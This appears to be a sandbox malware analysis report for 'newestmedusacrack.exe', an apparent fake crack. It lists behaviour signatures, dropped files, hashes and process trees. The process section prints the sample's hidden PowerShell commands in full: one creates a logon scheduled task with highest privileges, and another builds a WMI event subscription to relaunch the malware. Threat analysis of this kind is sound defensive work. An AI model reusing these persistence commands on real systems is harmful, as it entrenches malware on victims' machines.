Overview

overview

8

Static

static

3

newestmedusacrack.exe

windows10-2004-x64

newestmedusacrack.exe

windows11-21h2-x64

Analysis

  • max time kernel
    1s
  • max time network
    15s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/05/2026, 15:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    newestmedusacrack.exe
  • Size 15.6MB
  • Sample260503-st4mcacs71
  • SHA256 4d61bcc180a24291e6d092fbe5f1d3903487b61fbf2a1e6ee932e5547da3f380
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\newestmedusacrack.exe
    "C:\Users\Admin\AppData\Local\Temp\newestmedusacrack.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\system32\cmd.exe
      cmd /c start "" C:\Users\Admin\AppData\Local\Temp\ovld_4131572655\medusalauncher.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2104
      • C:\Users\Admin\AppData\Local\Temp\ovld_4131572655\medusalauncher.exe
        C:\Users\Admin\AppData\Local\Temp\ovld_4131572655\medusalauncher.exe
        3⤵
        • Executes dropped EXE
        PID:2736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'vshost_70325991' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2532
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe"
    1⤵
    • Drops startup file
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3340
    • C:\Windows\system32\cmd.exe
      cmd /c start "" C:\Users\Admin\AppData\Local\Temp\ovld_1622470475\medusalauncher.exe
      2⤵
        PID:4288
        • C:\Users\Admin\AppData\Local\Temp\ovld_1622470475\medusalauncher.exe
          C:\Users\Admin\AppData\Local\Temp\ovld_1622470475\medusalauncher.exe
          3⤵
            PID:3656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'vshost_70325991' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          PID:2656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'vshost_f70325991'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'vshost_c70325991'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\vshost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='vshost_f70325991'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='vshost_c70325991'\"; $null = $b.Put()"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          PID:3584

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 25213a6685a6fd21a2aa43c417891703333579ad784f3896976b44bcfcdb009e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 9cbc6d988120283d45122cee3c18741d6f278314f5ccdde221b62acfdabaa6f7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_j2tpy35n.ywv.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j2tpy35n.ywv.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            medusalauncher.exe
            • Path C:\Users\Admin\AppData\Local\Temp\ovld_4131572655\medusalauncher.exe
            • Size 5.2MB
            • SHA256 2601f64bbd5d9a2e02caa7d0d78e51f956510a1c2000584515ea6ab131f95de4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            agent-3829354694.tmp
            • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-3829354694.tmp
            • Size 15.6MB
            • SHA256 4d61bcc180a24291e6d092fbe5f1d3903487b61fbf2a1e6ee932e5547da3f380
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/2532-11-0x00000169FCA10000-0x00000169FCA20000-memory.dmp
            Download

            memory/2532-10-0x00000169FCA10000-0x00000169FCA20000-memory.dmp
            Download

            memory/2532-19-0x00000169FC820000-0x00000169FC842000-memory.dmp
            Download

            memory/2532-37-0x00000169FC2E0000-0x00000169FC2EC000-memory.dmp
            Download

            memory/2656-43-0x0000020DAC9D0000-0x0000020DAC9DC000-memory.dmp
            Download

            memory/3584-53-0x000001F83DE10000-0x000001F83DE1C000-memory.dmp
            Download